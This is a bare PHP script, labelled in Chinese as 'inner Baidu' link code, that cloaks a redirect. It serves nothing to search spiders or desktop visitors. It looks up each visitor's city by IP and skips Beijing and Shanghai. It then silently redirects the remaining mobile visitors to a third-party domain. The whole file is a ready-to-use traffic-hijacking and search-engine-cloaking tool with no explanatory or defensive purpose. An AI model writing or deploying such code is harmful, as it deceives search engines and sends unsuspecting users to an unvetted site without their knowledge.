内百度php链接代码

<?php
//屏蔽的地区
$blockarea='北京,上海';
//判断是否蜘蛛
if(stripos($_SERVER['HTTP_USER_AGENT'],'spider')>0) exit('');
//判断是否手机
if(!isMobile()) exit('');
$cip=get_client_ip();
$filename = "http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=json&ip=".$cip;
$json = json_decode(file_get_contents($filename));
$city=$json->city;
$city=str_replace('市','',$city);
$province=$json->province;
$province=str_replace('省','',$province);
if(strpos(','.$blockarea.',',$city.',')) exit('');
if(strpos(','.$blockarea.',',$province.',')) exit('');
//还可以加入其它判断
//加载内百度
header("Location: http://xzh.zzzhisou.com/location.php?fid=6");
function isMobile()
{
    if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))
    {
        return true;
    } 
    if (isset ($_SERVER['HTTP_VIA']))
    { 
        return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
    } 
    if (isset ($_SERVER['HTTP_USER_AGENT']))
    {
        $clientkeywords = array ('nokia',
            'sony',
            'ericsson',
            'mot',
            'samsung',
            'htc',
            'sgh',
            'lg',
            'sharp',
            'sie-',
            'philips',
            'panasonic',
            'alcatel',
            'lenovo',
            'iphone',
            'ipod',
            'blackberry',
            'meizu',
            'android',
            'netfront',
            'symbian',
            'ucweb',
            'windowsce',
            'palm',
            'operamini',
            'operamobi',
            'openwave',
            'nexusone',
            'cldc',
            'midp',
            'wap',
            'mobile'
            ); 
        if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT'])))
        {
            return true;
        } 
    } 
    if (isset ($_SERVER['HTTP_ACCEPT']))
    {
        if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html'))))
        {
            return true;
        } 
    } 
    return false;
} 
function get_client_ip(){ 
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
    $ip = getenv("HTTP_CLIENT_IP"); 
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
    $ip = getenv("HTTP_X_FORWARDED_FOR"); 
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
    $ip = getenv("REMOTE_ADDR"); 
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
    $ip = $_SERVER['REMOTE_ADDR']; 
    else 
    $ip = "unknown"; 
    return($ip); 
} 
?>